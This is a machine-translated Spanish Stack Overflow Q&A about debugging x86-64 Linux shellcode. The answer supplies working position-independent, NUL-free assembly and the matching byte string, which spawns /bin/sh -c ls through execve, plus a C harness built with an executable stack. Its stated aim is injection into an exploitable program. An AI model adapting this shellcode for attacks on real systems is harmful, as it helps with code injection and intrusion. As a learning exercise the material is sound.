Shellcode: instrucción ilegal
Soy nuevo en el desarrollo de shellcode y no puedo entender por qué el shellcode generado no funciona como se esperaba.
Código de ensamblador:
Basado en una respuesta a mi pregunta anterior.
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */
Código de prueba C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Producción:
Illegal instruction
Detalles: Kali Linux GNU / Linux i386 x86_64
Respuestas
El problema con su código es que la cadena de shell que generó no incluye ninguno de los datos. Y los datos incluyen punteros absolutos, por lo que no es independiente de la posición, por lo que no funcionaría si los moviera .texty los incluyera. Una vez que se ejecuta dentro de otro programa, como lo está haciendo en el código C , el programa intentará encontrar datos que no existen y en ubicaciones de memoria fija que no se aplican al programa explotable que está ejecutando dentro.
Creo que puede tener otro problema que provoque la instrucción ilegal . No muestra cómo construye su programa C , pero me pregunto si es de 32 bits y su código de shell es de 64 bits. Estoy empezando a pensar que su programa C puede haber sido compilado como un programa de 32 bits y la instrucción Illegal puede deberse a que no puede ejecutar de manera confiable un código de 64 bits (el código de shell) en un programa de 32 bits. Por ejemplo, la SYSCALLinstrucción es un código de operación no válido en un programa de 32 bits en CPU que no son AMD. Esto es solo una suposición en ausencia de más detalles sobre cómo compila / ensambla / vincula su código de shell y su programa C.
Tendrá que generar un código independiente de la posición (PIC) para que pueda ejecutarse en cualquier lugar una vez cargado en la pila. Tus datos deberán colocarse dentro del segmento con el código. El código también tiene que evitar generar el carácter NUL (0x00) ya que terminaría prematuramente una cadena si se proporciona como entrada del usuario a un programa explotable real.
Una versión de su código que podría usarse para tales fines podría verse así:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall
Puede generar una cadena de estilo C con:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
El hexdumpcomando anterior daría como resultado:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
Notará que no hay \x00caracteres diferentes a su código. Puede usar esta cadena directamente en un programa en C como:
exploit.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Esto debe compilarse y vincularse con una pila ejecutable:
gcc -zexecstack exploit.c -o exploit
strace ./exploitgeneraría una EXECVEllamada al sistema similar a:
execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0
Nota : Personalmente, construiría las cadenas programáticamente en la pila de manera similar al código en otra respuesta de Stackoverflow que escribí.